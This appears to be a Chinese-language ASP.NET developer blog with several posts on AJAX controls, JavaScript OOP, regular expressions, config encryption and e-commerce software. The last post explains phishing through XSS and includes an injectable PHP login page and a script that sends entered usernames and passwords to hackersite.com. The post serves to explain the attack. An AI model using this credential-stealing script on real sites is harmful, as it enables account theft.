在面板中,我們加入了包含 FormView 控制項的 UpdatePanel 控制項,並在 FormView 控制項的編輯樣板中,加入隱藏的更新按鈕,這個按鈕將會透過 JavaScript 觸發 UpdatePanel 控制項的更新動作,並透過 FormView 控制項所搭配的 SqlDataSource 控制項來執行員工資料的更新。因為在 ModalPopupUpdatePanel 更新面板中的 ChildrenAsTriggers 屬性被設為 False,所以必須明確呼叫 Update 方法,才能更新面板的內容:
protected void EmployeeFormView_ItemUpdated(object sender, EventArgs e)
{
EmployeesGridView.DataBind();
EmployeesUpdatePanel.Update();
}

而 OkButton 及 CancelButton 按鈕則分別用來定義快顯對話盒中,「確定」及「取消」動作的目標控制項。另外,在 UpdatePanel 控制項中的還加入了隱藏欄位 EmployeeIDHiddenField,用來記錄在 GridView 控制項中被選取員工的主索引鍵值,並加入其 ValueChanged 事件的處理常式:
protected void EmployeeIDHiddenField_ValueChanged(object sender, EventArgs e)
{
ModalPopupUpdatePanel.Update();
}

這個隱藏欄位將透過 JavaScript 來觸發 UpdatePanel 控制項,以載入 FormView 控制項的繫結資料。

加入 ModalPopupExtender 控制項
<asp:Button runat="server" ID="HiddenTargetControlForModalPopup" style="display:none" />
<ajaxToolkit:ModalPopupExtender ID="ModalPopupExtender1" runat="server"
TargetControlID="HiddenTargetControlForModalPopup"
PopupControlID="ModalPopupPanel"
BackgroundCssClass="modalBackground"
DropShadow="true"
OnOkScript="onOk()"
OkControlID="OkButton"
CancelControlID="CancelButton"
/>

加入用戶端程式碼
<script type="text/javascript" language="javascript">
<!--
function onOk() {
__doPostBack('<%= string.Format("{0}$HiddenUpdateButton", EmployeeFormView.UniqueID) %>','');
}

function showModalPopup(v)
{
var modalPopupBehavior = $find('<%= ModalPopupExtender1.ClientID %>');
modalPopupBehavior.show();
var hiddenField = $get('<%= EmployeeIDHiddenField.ClientID %>');
if (hiddenField) {
hiddenField.value = v;
__doPostBack('<%= EmployeeIDHiddenField.UniqueID %>','');
}
}
//-->
</script>

上例中,你會發現在程式碼是使用 $find 函式來取得 ModalPopup 行為類別(Behavior)執行個體的參照。這與 $get 函式又有什麼不同呢?在 Microsoft Ajax Library 中,$get 函式是 Sys.UI.DomElement.getElementById 方法的別名,用來取得 DOM 元素的參照;而 $find 函式則是 Sys.Application.findComponent 方法的別名,它會傳回 Ajax Client Component 執行個體的參照。因為 ModalPopup 亦是 Sys.Component,所以你必須使用 $find 函式才能取得 ModalPopup Behavior 執行個體的參照。但為何又稱 ModalPopup 是行為類別呢?那是因為 ModalPopup 是繼承自 Sys.UI.Behavior 類別的 Component。想瞭解更多有關於 ASP.NET AJAX Client 的相關資訊,可以參考這裡


 Download source code - 430 KB

繼續閱讀...

認識 JavaScript 的物件導向技術

1 comments
如果要說 JavaScript全世界被誤解最深的程式語言,其實一點也不為過。長久以來,它的名稱讓許多人誤以為是 Java 的子集合。當初 JavaScript 是以作為給非程式人員的腳本語言為訴求,所以學習門檻低,很容易就能上手。正因為如此,它也讓許多人停留在粗糙、簡單的既定印象,即便到現在已經進化成一個物件導向程式語言(Object-Oriented Programming Language, OOPL)。

現在,物件導向程式設計(OOP)是已普遍被應用到許多 JavaScript 程式庫(如 AJAX Library)。如果,你要使用這些程式庫,你就有必要深入理解 JavaScript 語言的概念,才能靈活運用它來應付更複雜的 Web 應用程式。

然而 JavaScript 對 OOP 的支援方式,卻與其他以類別為基礎(Class-Based)的物件導向語言大相逕庭。本文接下來,將帶你初探 JavaScript 語言對 OOP 的支援能力。

物件
JavaScript 物件是索引鍵和值配對(Name-Value Pair)的集合。「名稱」的部分必須是字串,而「數值」可以是任何資料型別。它的資料結構跟 C# 中的 Dictionary 和 Hashtable 非常相近。

以下是建立物件的基本方法:
var rectangle = new Object();
rectangle.width = 5;
rectangle.height = 3;
rectangle.getArea = function() {
return width * height;
}
alert(rectangle.getArea()); // Displays "15"

以上範例程式碼同時呼叫 new 和建構函式,會建立新的 Object 物件。然後,才指派屬性及方法給物件變數,而所謂的方法,其實也只是參考到 Function 物件的屬性而已。這個範例顯示,JavaScript 物件的屬性不一定要事先宣告,你可以在任何時候加入額外的屬性。如果你把 JavaScript 物件它當成是在 Dictionary 物件,將指派屬性視同是加入索引鍵和值,應該就不難理解了。

你也可以使用 JavaScript 1.2 版本支援的物件實體語法(Object Literal),來宣告及初始化物件:
var rectangle = {
"width" : 5,
"height" : 3,
"getArea" : function() {
return width * height;
}
};
alert(rectangle.getArea()); // Displays "15"

每個屬性初始設定以逗號分隔的定義方式,與 C# 3.0 的物件初始設定式非常類似,唯一的差別在於這裡只接受字串索引鍵。

當要存取物件的屬性時,你可以使用熟悉的 "." (點)運算子來存取。
rectangle.width = 5;
var width = rectangle.width;

或者,使用 "[]" 運算子來取得及設定物件的屬性。
rectangle["width"] = 5;
var width = rectangle["width"];

當然,你也可以在任何時候移除物件的屬性:
delete rectangle["width"];
delete rectangle.height;

函數也是物件
JavaScript 函式其實就是包含可執行程式碼的 Function 物件。它被視為第一級物件(First-Class Object),這意味它可以被動態建立,儲存在變數、陣列和物件中,也能做為函式的「傳入參數」或「傳回結果」。
function add(x, y) {
return x + y;
}
alert(add(1, 2)); // Displays "3"

當你使用 function 關鍵字宣告函式,其實就是在定義一個 Function 物件。事實上,在執行時期會配置與函數同名的 Function 物件。以上面的範例來說,會建立一個名為 add 的函數物件。所以,你才可以在函數物件變數使用 "()" 運算子呼叫函式程式碼。

除了具名函數外,你也可以宣告匿名(Anonymous)函數,並傳回它的參照:
var add = function(x, y) {
return x + y;
};
alert(add(1, 2)); // Displays "3"

當然,你也可以在宣告的同時,直接呼叫匿名函數,並取得傳回值:
var result = (function(x, y) {
return x + y;
})(1, 2);
alert(result); // Displays "3"

另外,你也可以使用 Function 建構函式建立函數物件:
var add = new Function("x", "y", "return x + y;");
alert(add(1, 2)); // Displays "3"

Function 函數比較特殊,即使沒有使用 new 關鍵字也會產生相同的結果。

在匿名函式中,如果你要在函式內部遞迴呼叫自己,可以使用 arguments.callee 的屬性。當函式被呼叫時,會自動建立包含所有傳遞參數值的陣列物件,並指派給名為 arguments 的區域變數。該物件提供了一個叫做 arguments.callee 的屬性,這個屬性會指向的目前的函式,因此可以用來做遞迴呼叫:
var fso = new ActiveXObject("Scripting.FileSystemObject");
(function(folder) {
var files = new Enumerator(folder.Files);
while(!files.atEnd()) {
document.write(fso.BuildPath(folder.path, files.item().name));
files.moveNext();
}
var subfolders = new Enumerator(folder.SubFolders);
while(!subfolders.atEnd()) {
arguments.callee(subfolders.item());
subfolders.moveNext();
}
})(fso.GetFolder("d:\\"));

以上範例,使用遞迴方式列舉根目錄下的所有子目錄及檔案。

自訂物件
通常,我們所說的物件是指是類別或結構的實體。然而,JavaScript 只有建構函式,卻沒有類別。所謂的建構函式,其實就是一般的函式。最接近類別的方式,是定義如下的建構函式:
function Shape(x, y) {
this.x = x;
this.y = y;
this.getCoordinates = function(){
return "(" + this.x + " ," + this.y + ")";
}
}
var objShape = new Shape(5, 10);
alert(objShape.getCoordinates()); // Displays "(5, 10)"

上例中的 x 、y 是屬性成員,getCoordinates() 是方法成員。在這裡第一次出現尚未提過的 "this" 關鍵字,稍後會有詳細說明。請先看這行程式碼:
var objShape = new Shape(5, 10);

當你使用 "new" 運算子呼叫建構函式時,JavaScript Engine 會執行以下動作:
  • 建立新的 Object 物件。
  • 在 Shape 函式的執行環境中,將所建立的物件參考指派給 this 值。
  • 接著,將此物件的 constructor 屬性指向 Shape 函數,以及將其內部隱含的 __proto__ 屬性指向 Shape 函數物件的 prototype 屬性。
  • 然後,執行 Shape 函式內的程式碼。
  • 最後,傳回物件參考。

請記得,除了 Function 函式外,在一般情況下,只要使用 new 運算子呼叫函式,就會傳回完全初始化的 Object 物件。

JavaScript 的程式碼都是在執行環境(Execution Context)中執行,執行環境包含變數範圍鏈(Scope Chain)的資訊以及呼叫此方法的物件參照(也就是 this 值)。而可執行程式碼又分為 Global Code 、 Function Code 及 Eval Code 三種。不同種類的程式碼,會建立不同的執行環境,而 this 值需視執行環境或呼叫者而定:
  • Global Code
    任何在函式以外(不屬於函式的一部分)的程式碼。只會產生一個 Global 執行環境。這時的 this 值就會是 Global 物件(在瀏覽器中即為 window 物件)。
  • Function Code
    宣告於函式本體的程式碼。每次的函式呼叫都會建立個別的執行環境。如果函式是透過物件參考來呼叫,那麼 this 值就會被設定為該物件參考。若是使用 new 運算子呼叫函式,則 this 值會參考到新產生的 Object 物件。如果是透過函式物件的 call() 或是 apply() 方法來呼叫,則需視傳入的第一個參數而定。
  • Eval Code
    透過 eval() 函式執行的程式碼。其 this 值與所在的執行環境的 this 值相同。

原型繼承
原型物件(Prototype)是 JavaScript 用來模擬類別階層(Class Hierarchy)的中心概念物件。每個函式物件(fucntion 型別的物件)都有一個 prototype 屬性(該物件所擁有的原型物件),它可以用來加入自訂屬性及方法。所謂的原型物件,其實也是使用 Object 建構函式所建立的物件。另外,所有物件實體內部還隱含一個名為 __proto__ 的屬性,它會指向其建構函式的 prototype 屬性。當然,建構函式的 prototype 屬性參照的原型物件也隱含有 __proto__ 屬性,指向它的建構函式的原型物件,以此類推,最後追朔到最終基底原型 Object.prototype 為止。每一個物件都會繼承一整鏈的原型,這樣的鏈結關係稱之為原型鍊(Prototype Chain)。

我們都知道 Object 的原型物件擁有以下的屬性成員:
  • constructor
  • toString()
  • toLocaleString()
  • valueOf()
  • hasOwnProperty(propertyName)
  • isPrototypeOf(objectRef)
  • isPropertyEnumerable(propertyName)

當你建立自訂物件時,將繼承 Object 物件原型的所有屬性和方法。
function MyClass() {

}
var myObject = new MyClass();
alert(myObject.toString()); // Displays "[object Object]"

上例中,我們透過自訂的物件參照呼叫 toString() 方法。事實上,這個方法是來自 Object 的原型物件。那麼 JavaScrpt 是如何解析呢?當你試圖要存取物件的屬性/方法時,沒有定義在物件中,那麼 JavaScript 就會檢查該物件的原型。如果還是沒有,就會循我們前面所提到的原型鏈往上尋找,直到 Object.prototype 為止。

現在,你已暸解 JavaScript 是如何以原型鏈來模擬類別階層關係。接下來,我們就可以利用原型物件來實做衍生類別:
function Shape(x, y) {
this.x = x;
this.y = y;
}
Shape.prototype = {
getCoordinates : function() {
return "(" + this.x + " ," + this.y + ")";
}
};
function Rectangle(x, y, width, height) {
Shape.call(this, x, y);
this.width = width;
this.height = height;
}
Rectangle.prototype = new Shape();
Rectangle.prototype.getArea = function() {
return this.width * this.height;
};
var objRect = new Rectangle(100, 200, 5, 10);
alert(objRect.getCoordinates()); // Displays "(100, 200)"
alert(objRect.getArea()); // Displays "50"

在上例中,Shape 可視為基底類別(Base Class),而 Rectangle 是衍生類別(Derived Class)。其中,繼承的關鍵在於設定 Rectangle.prototype 屬性,將 Shape 物件加入 Rectangle 的原型鏈。另外,在 Rectangle 建構函式中,透過函數物件的 call() 方法,呼叫 Shape 建構式來進行初始化。

結語
為什麼要使用 OOP ?說穿了,就是為了能夠讓程式設計更接近人類的自然思維,讓程式碼易於擴充與維護。 當你使用 OOPL 撰寫程式碼時,你就已經是在 "OOP" 了。正所謂「只在此山中,雲深不知處」,差別只在於你對物件導向是否有所體認罷了。誠如 Kenming 在「不要從程式語言學習「物件導向」!」一文中提到:

因為,物件導向是一種思維,是一種哲理,是一種典範,甚至是一種生活觀,你需要綜合相當多的知識,蘊化為 "智慧",來協助你如何應付與應對軟體的 "善變",並能提供具體的解決方案。

雖然 JavaScript 對 OOP 可提供很好的支援,但對習慣類別型程式設計的人來說,或許會有很大的落差。所幸,未來 JavaScript 2.0 版本將朝向類別型語言發展。不過,在此之前如果你希望使用 JavaScript 撰寫更具彈性的物件導向程式,可以參考 MooTools 所提供的程式庫,它提供了絕佳的類別函式,讓你可以更容易撰寫類別式的 JavaScript 程式碼。

參考資料:
使用物件導向技術來建立進階 Web 應用程式
Javascript Closures

繼續閱讀...

使用 AJAX 動態載入縣市和地區

2 comments
在 Web 應用程式中,常常都需要提供可以讓使用者登錄個人資料(如姓名、聯絡電話、通訊地址)的互動式網頁。以地址輸入欄位來說,通常還會加入縣市及鄉鎮區的連動式下拉選單(Cascading Drop-Down)供使用者選擇。在 ASP.NET 中,傳統作法是使用兩個 DropDownList 控制項,並透過 AutoPostBack 的方式擷取選取項目,再動態將資料填入 DropDownList 控制項,來達到多層連動下拉選單的效果。不過,這樣的缺點是每次變更清單選取項目時,都會造成自動向伺服器發出網頁請求,增加網路傳輸量。所幸,你可以選擇 ASP.NET AJAX Control Toolkit 的 CascadingDropDown 控制項,來做為替代方案。

ASP.NET AJAX 已內建於 ASP.NET 3.5,所以只要下載 AJAX Control Toolkit 元件即可。如果是 ASP.NET 2.0 則必須先安裝 ASP.NET 2.0 AJAX Extensions 1.0,才可以使用 ASP.NET AJAX Control Toolkit。你可以造訪 ASP.NET AJAX 官方網站取得相關下載。

ASP.NET AJAX Control Toolkit 同時也提供了完整的範例程式碼,除了可以讓你快速學習外,也可以立即引用到你的 ASP.NET 開發專案。本文程式碼亦是以 CascadingDropDown 範例為基礎修改而來。接下來,將使用 ASP.NET 3.5 來說明如何使用 CascadingDropDown 控制項,並搭配 Web 服務來動態載入縣市及鄉鎮區資料項。

建立資料來源
在這裡我們使用 XML 文件來儲存縣市及鄉鎮區的資料,如以下所示:
<?xml version="1.0" encoding="utf-8" ?>
<PostCodeService>
<county name="台北市">
<town name="中正區" value="100"/>
<town name="大同區" value="103"/>
<town name="中山區" value="104"/>
<town name="松山區" value="105"/>
<town name="大安區" value="106"/>
<town name="萬華區" value="108"/>
<town name="信義區" value="110"/>
<town name="士林區" value="111"/>
<town name="北投區" value="112"/>
<town name="內湖區" value="114"/>
<town name="南港區" value="115"/>
<town name="文山區" value="116"/>
</county>
</PostCodeService>

建立 Web Service
為了讓 AJAX 用戶端指令碼能存取 Web 服務,我們必須建立 .asmx Web 服務,並且以 ScriptServiceAttribute 屬性限定 Web 服務類別。
using System;
using System.Collections.Specialized;
using System.Web;
using System.Web.Services;
using System.Xml;
using AjaxControlToolkit;

[WebService(Namespace = "http://tempuri.org/")]
[WebServiceBinding(ConformsTo = WsiProfiles.BasicProfile1_1)]
[System.Web.Script.Services.ScriptService]
public class PostCodeService : System.Web.Services.WebService
{
private static XmlDocument _document;
private static object _lock = new object();

public static XmlDocument Document
{
get
{
lock (_lock)
{
if (_document == null)
{
_document = new XmlDocument();
_document.Load(
HttpContext.Current.Server.MapPath("~/App_Data/PostCodeService.xml"));
}
}
return _document;
}
}

public static string[] Hierarchy
{
get { return new string[] { "county", "town" }; }
}

[WebMethod]
public CascadingDropDownNameValue[] GetDropDownContents(string knownCategoryValues,
string category)
{
StringDictionary knownCategoryValuesDictionary =
CascadingDropDown.ParseKnownCategoryValuesString(knownCategoryValues);
return CascadingDropDown.QuerySimpleCascadingDropDownDocument(
Document, Hierarchy, knownCategoryValuesDictionary, category);
}
}

以上程式碼使用 Singleton Pattern 建立 XmlDocument 物件來載入 XML 文件,並加入 lock 陳述式以確保只會產生唯一個實例(Instance)。

AJAX 用戶端網頁
<table>
<tr>
<td>縣市:</td>
<td><asp:DropDownList ID="CountyDropDownList" Width="100" runat="server" /></td>
</tr>
<tr>
<td>鄉鎮區:</td>
<td><asp:DropDownList ID="TownDropDownList" Width="100" runat="server" AutoPostBack="true"
OnSelectedIndexChanged="TownDropDownList_SelectedIndexChanged" /></td>
</tr>
<tr>
<td>郵遞區號:</td>
<td>
<asp:UpdatePanel ID="PostCodeUpdatePanel" runat="server" UpdateMode="Conditional"
RenderMode="inline">
<ContentTemplate>
<asp:TextBox ID="PostCodeTextBox" Width="100" runat="server"></asp:TextBox>
</ContentTemplate>
<Triggers>
<asp:AsyncPostBackTrigger ControlID="TownDropDownList"
EventName="SelectedIndexChanged" />
</Triggers>
</asp:UpdatePanel>
</td>
</tr>
</table>
<ajaxToolkit:CascadingDropDown ID="CountyCascadingDropDown" runat="server" TargetControlID="CountyDropDownList"
Category="county" PromptText="請選擇縣市" LoadingText="載入中..."
ServicePath="PostCodeService.asmx" ServiceMethod="GetDropDownContents" />
<ajaxToolkit:CascadingDropDown ID="TownCascadingDropDown" runat="server" TargetControlID="TownDropDownList"
Category="town" PromptText="請選擇鄉鎮區" LoadingText="載入中..."
ServicePath="PostCodeService.asmx" ServiceMethod="GetDropDownContents" ParentControlID="CountyDropDownList" />


 Download source code - 430 KB for ASP.NET 3.5

繼續閱讀...

Regular Expression Examples

0 comments
對於要做複雜的文字處理的應用程式,規則運算式(Regular Expression)提供有效率、功能強大的解決方法,是不可或缺的工具。話雖如此,要熟記規則運算式的所有技巧並不容易。為方便隨查即用,在此把自己常用的規則運算式範例作個總整理。

浮點數
^([-+]?[0-9]*\.?[0-9]+)$

下列程式碼範例會驗證輸入字串是否為有效的浮點數。
bool IsValidFloat(string inputString)
{
return Regex.IsMatch(inputString, @"^([-+]?[0-9]*\.?[0-9]+)$");
}

日期格式
^((?:19|20)\d\d)[- /.](0[1-9]|1[012])[- /.](0[1-9]|[12][0-9]|3[01])$

下列程式碼範例會驗證輸入字串是否為有效的日期。
bool IsValidDate(string inputString)
{
Match m = Regex.Match(inputString,
@"^((?:19|20)\d\d)[- /.](0[1-9]|1[012])[- /.](0[1-9]|[12][0-9]|3[01])$");
if (m.Success)
{
int year = int.Parse(m.Groups[1].Value);
int month = int.Parse(m.Groups[2].Value);
int day = int.Parse(m.Groups[3].Value);
if (day == 31 && (month == 4 || month == 6 || month == 9 || month == 11))
{
return false;
}
else if (day >= 30 && month == 2)
{
return false;
}
else if (month == 2 && day == 29
&& !(year % 4 == 0 && (year % 100 != 0 || year % 400 == 0)))
{
return false;
}
else
{
return true;
}
}
return false;
}

電子郵件格式
^([0-9a-z]+[-._+&])*[0-9a-z]+@([0-9a-z]+[.])+[a-z]{2,3}$

下列程式碼範例會驗證輸入字串是否為有效的電子郵件格式。
bool IsValidEmail(string inputString)
{
return Regex.IsMatch(inputString, @"^([0-9a-z]+[-._+&])*[0-9a-z]+@([0-9a-z]+[.])+[a-z]{2,3}$", RegexOptions.IgnoreCase );
}

中文字
[\u4e00-\u9fa5]

擷取 HTML 元素
<([a-z]+)\b[^>]*>(.*?)</\1>

下列程式碼範例會從輸入字串中去除 HTML 標籤。
string StripHtml(string inputString)
{
return Regex.Replace(inputString,@"</?[a-z]+\b[^>]*/?>", string.Empty, RegexOptions.IgnoreCase);
}

擷取 HTML 標籤的屬性
ATTR\s*=\s*(?:"(?<1>[^"]*)"|(?<1>\S+))

下列範例會從 HTML 格式的輸入字串中比對 img 標籤,並擷取出 src 屬性,透過替代的方式將屬性值套用到有加入 onload 屬性及指令碼的 img 標籤,以限制圖片最大寬高。
string FormatPost(string message)
{
message = Regex.Replace(message, @"<img\b*[^>]*?src\s*=\s*(?:""(?<1>[^""]*)""|'(?<1>[^\']*)')\s*/?\s*>", @"<img onload=""javascript:rmwa_img_loaded(this, 600, 200)"" src=""$1"" />", RegexOptions.IgnoreCase);
return message;
}


相關參考資源:
MSDN 規則運算式語言項目
Regular Expression Library
Regular-Expressions.info

繼續閱讀...

如何對組態區段加密

0 comments
在 ASP.NET 2.0 中,你可以用 Configuration APIs 對 web.config 中的敏感性資訊(如使用者名稱、密碼、連線字串和加密金鑰等)進行加密保護,以提升應用程式的安全性。不過,你可以使用更簡單的 Aspnet_regiis.exe 工具來完成加密處理。當要求網頁時,ASP.NET 會自行將加密的組態資訊解密,讓應用程式使用。所以,你不需要撰寫額外的程式碼來讀取加密過的組態資訊。

接下來,將以 connectionStrings 區段為例,提供逐步指引來說明如何使用 Aspnet_regiis.exe 加密組態資訊。

  1. 先將 ASP.NET 應用程式檔案部署到 Web 實際執行伺服器(Production Server)。
  2. 在 IIS 中建立 ASP.NET 網站:
    1. 打開 IIS 管理主控台。
    2. 展開本機電腦節點,接著展開 [網站],建立新的網站。
    3. 點選 [ASP.NET] 頁簽,將 ASP.NET 版本設為 2.0.*。若無該頁簽,則到 [主目錄] 頁簽,按下 [設定] 按鈕,在 [對應] 索引標籤上,將 ASP.NET 相關應用程式副檔名對應的應用程式指向 %WINDIR%\Microsoft.NET\Framework\v2.0.*\aspnet_isapi.dll。
  3. 建立 RSA 金鑰容器(Key Container):
    1. 打開 Web 應用程式根目錄的 web.config,修改成實際執行的連線字串。
    2. 在 [執行] 對話方塊中的 [開啟] 方塊中,鍵入 cmd,然後按下 [確定] 。
    3. 建立名為 NetFrameworkConfigurationKey 的電腦層級 RSA 金鑰容器,請在命令提示字元中執行下列命令:
      %WINDIR%\Microsoft.NET\Framework\v2.0.*\aspnet_regiis.exe -pc "NetFrameworkConfigurationKey" -exp
    4. 授予 ASP.NET 使用者識別(在 Windows Server 2003 的電腦上,預設為 NETWORK SERVICE 帳戶)能讀取這個金鑰容器的權限,請執行下列命令:
      C:\WINDOWS\Microsoft.NET\Framework\v2.0.*\aspnet_regiis.exe -pa "NetFrameworkConfigurationKey" "NT AUTHORITY\NETWORK SERVICE"
  4. 加密 connectionStrings 區段:
    1. 請在命令提示字元中執行下列命令:
      C:\WINDOWS\Microsoft.NET\Framework\v2.0.*\aspnet_regiis.exe -pef connectionStrings %路徑%
    2. 如果需要修改連線字串,可以用如下的指令解密:
      C:\WINDOWS\Microsoft.NET\Framework\v2.0.*\aspnet_regiis.exe -pdf connectionStrings %路徑%

參考資料:
逐步解說:使用受保護的組態加密組態資訊 by Microsoft
逐步解說:建立和匯出 RSA 金鑰容器 by Microsoft

繼續閱讀...

Response.End() Exceptions in ASP.NET

1 comments
如果你在 ASP.NET 使用 Response.End 時,就會發生ThreadAbortException 例外狀況。舉例來說,當你在 try - catch 陳述式中,呼叫 Response.End 時,就會引發例外狀況:「System.Threading.ThreadAbortException: 執行緒已經中止」。

其實,當你使用 Response.End 方法時,會因為內部呼叫 Thread.Abort() 而引發 ThreadAbortException 的例外,停止網頁的執行,略過 Response.End 以下的程式碼,並將緩衝輸出的資料傳送到用戶端,然後才直接觸發 HTTP 管線(HTTP Pipelines)的執行鏈結裡的最後一個事件,也就是 HttpApplication.EndRequest 事件。而使用 Response.Redirect 或是 Server.Transfer 也會發生這種例外,因為這兩個方法都會在內部呼叫 Response.End 方法。

解決方案
當了解事實真相後,問題就已不再是"問題"了,而是端看你如何正確的應用。事實上,你無須介入處理 Response.End 所引發的例外狀況,也就是不要把 Response.End 放在 try 區塊中,況且使用 try - catch 陳述式也會比較消耗系統資源,應該斟酌使用。想了解更多例外狀況有關的效能問題,可以參考這裡這裡

如果你需要在執行 Response.End、Response.Redirect 或 Server.Transfer 方法之後,仍能繼續執行程式碼,可使用下列作法:
  • 使用 HttpContext.Current.ApplicationInstance.CompleteRequest 方法取代 Response.End 。
  • 對於 Response.Redirect(url),使用 Response.Redirect(url, false),要求不要結束目前網頁的執行,也就是呼叫 Response.End 方法。
  • 使用 Server.Execute 方法代替 Server.Transfer。

HttpApplication.CompleteRequest 跟 Response.End 有何不同呢?
對於 HttpApplication.CompleteRequest 的用途,在 MSDN 文件所得到的解釋如下:
造成 ASP.NET 略過 HTTP 管線的執行鏈結裡的所有事件和篩選,並且直接執行 EndRequest 事件。
事實上,如果你是在網頁的 Page_Load 事件處理常式中執行 HttpApplication.CompleteRequest 的話,ASP.NET 仍會處理完 PostBack 所引發的事件,然後才略過其他事件而直接執行 Application_EndRequest 事件。但同樣的狀況,若是改用 Response.End,就會直接結束目前網頁執行,而無法處理 PostBack 所引發的事件。想了解更多關於應用程式與網頁的事件觸發順序,可以參考這裡

參考文章:
PRB: ThreadAbortException Occurs If You Use Response.End, Response.Redirect, or Server.Transfer by Microsoft
Response.Redirect(url) ThreadAbortException Solution by John S. Reid

繼續閱讀...

Open Source E-Commerce Software Resources

3 comments
最近正著手電子商務網站的建置計畫,事先蒐集許多相關的參考資源,發現有許多免費且開放原始碼(Open Source)的電子商務軟體,而且許多已發展相當成熟。在開放原始碼基礎上,開發人員可以在短時間內做出符合企業的電子商務網站,大幅降低開發成本。在這裡,我整理了近期蒐集的開放原始碼電子商務軟體的相關資訊,有興趣的朋友不妨參考看看。

osCommerce
osCommerce 是一套使用 PHP 撰寫的網路購物系統平台。採用模組化系統設計,讓你可以按照實際的需要來加掛不同的模組,建置自己專屬的購物網站。
程式語言: PHP
軟體授權: GNU General Public License (GPL)
官方網站: http://www.oscommerce.com/
中文社群網站: http://osc.kmd.com.tw/
展示網站: http://demo.oscommerce.com/
原始碼下載: http://www.oscommerce.com/solutions/downloads

xt:Commerce
xt:Commerce 是延伸 osCommerce 的基礎架構,所發展的電子商務系統。
程式語言: PHP
軟體授權: GNU General Public License (GPL)
官方網站: http://www.xt-commerce.com/
展示網站: http://www.xtc-demo.de/index.php/language/tw

TWE-Commerce
TWE-Commerce 是一個以 osCommerce 及 xt:Commerce 為基礎架構的購物平台。
程式語言: PHP
軟體授權: GNU General Public License (GPL)
官方網站:http://www.twecommerce.org/
展示網站:http://twe23.oldpa.com.tw/

Freeway
Freeway 是一套功能功能相當完整且強大的電子商務系統,除了一般商品銷售外,還可以銷售門票、虛擬商品。
程式語言: PHP
軟體授權: GNU General Public License (GPL)
官方網站: http://www.openfreeway.org/
展示網站: http://www.openfreeway.org/demo.html
原始碼下載: http://www.openfreeway.org/download.html

Drupal e-Commerce
Drupal e-Commerce 是適用在 Drupal 內容管理系統的電子商務模組,其功能相當完整,包括:庫存管理、交易和付款流程、可以外掛付款和送貨模組、發票與送貨通知、交易報表與銷售統計等,甚至還可以可以運用拍賣模組,建立拍賣網站。
程式語言: PHP
軟體授權: GNU General Public License (GPL)
官方網站: http://www.drupalecommerce.org/
中文支援網站: http://drupaltaiwan.org/module/e_commerce
主程式下載: http://drupal.org/download
模組下載:http://drupal.org/project/ecommerce

ASP.NET Starter Kit - Commerce Starter Kit
ASP.NET Starter Kit(ASP.NET入門套件)是微軟提供的免費且開放原始碼的軟體,可拿來做為開發各種 Web 應用程式的骨架範本。在 ASP.NET Starter Kit 中也包含了 Commerce Starter Kit(電子商務入門套件)可以輕鬆建構一個購物網站。
程式語言: ASP.NET, VB.NET, C#, J#
官方網站: http://www.asp.net/downloads/archived/starter-kits/
原始碼下載: http://www.asp.net/downloads/archived/starter-kits/commerce/

StoreNuke.Net
使用 Commerce Starter Kit(電子商務入門套件)為基礎架構的電子商務系統。
程式語言: ASP.NET, C#
官方網站: http://www.storenuke.net/
原始碼下載: http://sourceforge.net/projects/storenuke-net/

DotShoppingcart
DotShoppingcart 是一套用於電子商務的網站內容管理系統,提供動態編輯網頁內容的能力。除了免費版本外,亦有付費版本可供選擇。
程式語言: ASP.NET, C#
軟體授權: DotShoppingCart Public License (DPL) 1.0
官方網站: http://www.dotshoppingcart.com/
原始碼下載: http://www.dotshoppingcart.com/Page/Community/Download.aspx
示範影片: http://www.dotshoppingcart.com/Page/DemoVideos.aspx

Comersus Cart
Comersus Cart 是使用 ASP 開發的開放原始碼的軟體,除了免費版本外,亦有其他功能完整的付費版本可供選擇。
程式語言: ASP
軟體授權: Comersus Shopping Cart Software License
官方網站: http://www.comersus.com/
原始碼下載: http://www.comersus.com/download.html
展示網站: http://www.comersus.com/demo.html

繼續閱讀...

網路釣魚實例 - 結合 XSS 攻擊

0 comments
所謂網路釣魚(phishing)是駭客透過垃圾郵件發送與合法網站相仿的寄件人及郵件內容,提供偽裝 (spoofing)的連結,誘騙使用者到進入其偽裝的網站,藉以騙取個人帳號及密碼。其實,要辨識這樣的偽裝連結並不難,你可以先將滑鼠移到連結上,留意瀏覽器左下方的狀態列所顯示的真正網址,就能辨其真偽。但本文接下來要介紹的是比這類詐騙郵件更為狡猾的網路釣魚攻擊,是一種與跨網站指令碼 (Cross-site scripting,簡稱為 XSS) 搭配組合的攻擊模式,讓人防不勝防。此攻擊模式是利用存在 XSS 弱點的網站,在其官方網址的參數欄位動手腳加入經編碼的惡意程式,讓使用者誤信這是該網站所提供的網址,而不自覺地落入駭客惡意設下的圈套。

Phishing 與 XSS 搭配攻擊
假設有個受信任的網站 trustedsite.com,其登入網頁的部份原始碼如下:
<-- Hypothetical login.php page -->
...
<?php echo $_REQUEST["msg"]; ?>
<form method="post" action="loginDone.php">
Username:<input type="text" name="username" maxlength="16"><br>
Password:<input type="text" name="pass" maxlength="16"><br>
<input type="submit" value="Login"><br>
<input type="hidden" name="returnUrl" value="<?php echo $_REQUEST["returnUrl"]; ?>">
</form>
...

當匿名使用者要求檢視個人資料的網頁時,會被系統自動導向到登入網頁,其網址如下:
http://trustedsite.com/login.php?msg=Please+Sign+In+to+View+this+Profile&returnUrl=myProfile.php

在沒有過濾字元的情況下,透過網址的傳遞參數注入如下所示的 HTML 標籤及指令碼:
login.php?msg=<script>alert('Vulnerable!');</scrpt>
&returnUrl="><script>alert('Vulnerable!');</scrpt><input type="hidden

並重新發出 HTTP 請求,便會得到如下的 HTML 輸出內容,並觸發注入的指命碼:
...
<script>alert('Vulnerable!');</scrpt>
<form method="post" action="loginDone.asp">
Username:<input type="text" name="username" maxlength="16"><br>
Password:<input type="text" name="pass" maxlength="16"><br>
<input type="submit" value="Login"><br>
<input type="hidden" name="returnUrl" value=""><script>alert('Vulnerable!');</scrpt><input type="hidden">
</form>
...



根據 XSS 攻擊原理,只要存在 XSS 漏洞的網頁程式就能順利執行惡意程式碼。以下是針對 trustedsite.com 登入網頁,所設計的攻擊指命碼:
/* phishing.js */
var userslogin = document.forms[0];
userslogin.onsubmit = function() {
var iframe = document.createElement("iframe");
iframe.style.display = "none";
iframe.src = "http://hackersite.com/stealLogin.php?user=" + userslogin.username.value + "&pass=" + userslogin.pass.value;
document.body.appendChild(iframe);
};

並將登入網址重新設計如下:
http://trustedsite.com/login.php?msg=<script src="http://hackersite.com/phishing.js"></script>

為衍人耳目,駭客會刻意將注入的 HTML 標籤及指令碼字串編碼,如下所示:
